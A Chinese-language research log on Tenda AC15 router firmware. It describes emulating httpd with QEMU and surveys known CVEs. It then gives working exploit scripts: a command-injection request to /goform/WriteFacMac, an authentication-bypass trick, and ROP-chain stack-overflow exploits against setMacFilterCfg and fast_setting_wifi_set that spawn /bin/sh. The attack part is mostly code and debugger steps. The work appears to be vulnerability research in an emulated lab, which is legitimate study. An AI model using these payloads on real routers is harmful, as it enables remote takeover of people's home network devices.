Tenda AC15研究历程
固件获取
获取固件
https://down.tendacn.com/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.20_multi_TDE01.zip
提取固件
binwalk -Me AC15.bin
获得固件文件系统squashfs
固件分析与模拟
一般来说,都会去分析http相关的程序:
grep -r "http" > ../http.txt
#在http.txt中找到目标http程序
对其进行分析:
./bin/httpd
我们首先就需要尝试能不能模拟该程序:
sudo qemu-arm-static -L ./ ./bin/httpd
发现并不成功,IDA打开程序,定位至主函数,发现了启动该程序需要几个条件:
一个是check_network函数判断
一个是ConnectCfm函数判断
那我们就需要将这两个判断条件patch掉即可(修复):
patch完之后再进行模拟,成功启动,但是程序启动后的IP不太对,根据一个师傅的文章得知:
https://blog.csdn.net/song_lee/article/details/113800058
网卡配置信息需要check_network函数==》该函数定义在libccommon.so中==》
check_network调用了函数getLanName==》getLanName又调用了外部函数get_eth_name函数
==》这个外部函数定义在libcChipApi.so中,并且该函数就是为了获取网卡信息==》网卡顺序:br0, br1, eth0.1, eth0.2==》
所以我们只需要自定义添加一个br0网卡即可:
sudo tunctl -t br0 -u <username>
sudo ifconfig br0 192.168.80.1/24
再次模拟运行httpd程序:
(成功)
动态调试
只需要在模拟程序的时候加一个监听端口即可
#终端1
sudo qemu-arm-static -g 1234 -L ./ ./bin/httpd
#终端2
set sysroot <固件目录>
file <目标程序所在路径>
target remote :1234
漏洞搜集
寻找一些漏洞分析一下(不一定需要同版本,反正只是借鉴一下)
CVE-2018-18729
/goform/GetParentControlInfo接口的堆溢出
数据复制到chunk中没有限制数据长度
https://github.com/ZIllR0/Routers/blob/master/Tenda/heapoverflow1.md
CVE-2018-28731
/goform/addWifiMacFilter接口的栈溢出
https://github.com/ZIllR0/Routers/blob/master/Tenda/stack4.md
CVE-2018-18732
/goform/SetSysTimeCfg接口的栈溢出
https://github.com/ZIllR0/Routers/blob/master/Tenda/stack2.md
CVE-2021-44971
通过伪造URL实现身份认证绕过
URL带上 img/main-logo.png 即可实现认证绕过
CVE-2022-28556
/goform/setpptpservercfg接口的栈溢出
CVE-2018-18728,CVE-2022-28557
两个编号是一样的洞,应该是版本不一样吧
/goform/SetSambaCfg接口:远程代码执行
通过伪造usbName的值实现命令执行
未知编号
一个我不知道编号但是撞洞的远程代码执行(我没找到编号就试着交了一下,然后就撞了)
/goform/WriteFacMac接口的远程代码执行
EXP:
import requests
from pwn import *
url = "http://192.168.80.1/goform/WriteFacMac"
cookie = {"Cookie":"password=12345"}
payload=";id"
data = {"mac": payload}
requests.post(url, cookies=cookie, data=data)
执行效果:
自己尝试的get shell:
setMacFilterCfg
首先反向定位漏洞位置:
在使用strcpy函数时没用控制数据长度导致栈溢出
位于/goform/setMacFilterCfg接口:
==》
==》
分析:首先是走到setMacFilterCfg函数处,就需要URL为:
url = "http://192.168.80.1/goform/setMacFilterCfg"
然后就是想要到达pwn3的地方,但是首先函数获取一个macFilterType的值,并经过sub_C1F2C函数处理后返回v19==》再对v19进行判断,当v19为0时,才能进入else中
那首先就是要给macFilterType赋值,而这个值要先分析sub_C1F2C函数:
我们需要返回为0,就需要过strcmp的判断==》需要给macFilterType赋值为black或者white
==》赋值完后我们成功进入了else中,来到pwn3函数
else的第一条代码就是获取deviceList的值并传入pwn3函数中(第二个参数)
传入的pwn参数又会传给pwn2函数,作为第二个参数:
==》这传入的第二个参数又会作为第一个参数传入pwn1函数:
在pwn1函数中,该传入的deviceList的值会首先使用strchr获取其中的’\r’字符串==》
再将剩余值作为strcpy函数的参数==》
这里发现没有对该数据进行长度限制,直接复制进栈内==》栈溢出
接下来就是考虑覆盖返回地址了:
在strcpy结束后就return 0了==》寻找对应的汇编(tab)
注意到最后返回是弹出栈中的值为r4,r11,pc寄存器赋值==》而我们要控制的则是pc寄存器
动态调试
动态调试的目的就是为了验证我们刚刚的静态分析是否正确,并调试出数据溢出的长度
首先就是按照静态分析设计POC了:
import requests
from pwn import *
url = "http://192.168.80.1/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
payload="\r"+"a"*500
data = {"macFilterType": "white", "deviceList": payload}
requests.post(url, cookies=cookie, data=data)
调试过程
首先按照上方的步骤启动并监听httpd
在函数返回处pop下断点
b *0x000C3594
在gdb中按下c,回车启动
执行两次poc:
gdb将成功断点于pop处
单步执行一次,发现了pc回到了pwn2函数
继续跟进,来到pwn2的返回地址处
在pwn2return的地方,下一个断点:
b *0x000C29EC
c
此时我们发现栈中的数据就为我们传入的”a”,并且在单步执行pop后我们就会将pc寄存器覆盖成我们传入的数据
此时我们已经控制了返回地址,但是我们还不知道溢出的长度
但是我们看到栈中还有好多”a”未被使用:
这些未被使用的”a”为20*16=320==》得出需要用到的数据为500-320=180
176为垃圾数据,接下来就为pc寄存器了(返回地址)
ROP
控制了程序执行流,接下来就是ROP了
一般来说,需要从libc中寻找ROPgadget(./lib/libc.so.2)
所以就需要libc的基地址==》在gdb中走到调用liibc函数的地址处,减去在libc中的偏移就是libc的基地址
我这里是:
libcbase=0x409f5000
最后要get shell的,那就需要system和”/bin/sh”
system=0x5A270
command="/bin/sh"
在x86的arm中第一参数需要用到的寄存器为r0,所以需要为r0赋值为command
而command又会传入栈内,那这里就需要一个ROPgadget:将栈中的地址赋给r0
布置完之后还需要去执行system==》这里就需要将栈中的system地址弹出到寄存器中并跳转至该寄存器地址执行
#布置r0:
ROPgadget --binary libc.so.0 |grep "mov r0, sp ;"
找到一个将sp的值传给r0的,还能跳转至r3寄存器的指令
那接下来就是找将system弹入r3的ROPgadget了:
ROPgadget --binary libc.so.0 --only "pop|ret" |grep "r3"
剩下的就是布置payload了:
pop_r3_pc=0x00018298
mov_r0_sp=0x00040cb8
gadget1=libcbase+pop_r3_pc#0x40a0d298
gadget2=libcbase+mov_r0_sp#0x40a35cb8
payload="\r"+"A"*176+p32(gadget1)+p32(system)+p32(gadget2)+command
综合一下得到了EXP:
import requests
from pwn import *
url = "http://192.168.80.1/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
libcbase=0x409f5000
system=0x5A270
command="/bin/sh"
pop_r3_pc=0x00018298
mov_r0_sp=0x00040cb8
gadget1=libcbase+pop_r3_pc#0x40a0d298
gadget2=libcbase+mov_r0_sp#0x40a35cb8
system=libcbase+system
payload="\r"+"A"*176+p32(gadget1)+p32(system)+p32(gadget2)+command
data = {"macFilterType": "white", "deviceList": payload}
requests.post(url, cookies=cookie, data=data)
EXP调试
我们直接在gadget1处下断点
确实劫持到ROPgadget了,并且栈内的sp指向的也是system函数的地址,没有问题
单步执行(n)
r3寄存器如预期中写入了system函数的地址
并且此时sp指向的栈内存放着command==》接下来就是将command赋值给r0了
继续单步执行:
r0寄存器也布置好了,接下来就是到r3去执行system函数就可以get shell了:
直接c继续执行:
看来已经成功getshell了,指向下命令试试:
fast_setting_wifi_set
我还在fast_setting_wifi_set接口也找到了一个strcpy:
这个更简单了,也没有其他的条件需要绕过,动态调试也和上面setMacFilterCfg接口一样:
首先就是断点在return处:
一样的计算方法:得到数据溢出长度:124,后面就是返回地址了,ROPgadget不变即可
EXP
import requests
from pwn import *
url = "http://192.168.80.1/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
libcbase=0x409f5000
system=0x5A270
command="/bin/sh"
pop_r3_pc=0x00018298
mov_r0_sp=0x00040cb8
gadget1=libcbase+pop_r3_pc#0x40a0d298
gadget2=libcbase+mov_r0_sp#0x40a35cb8
system=libcbase+system
payload="a"*124+p32(gadget1)+p32(system)+p32(gadget2)+command
data = {"ssid": payload}
requests.post(url, cookies=cookie, data=data)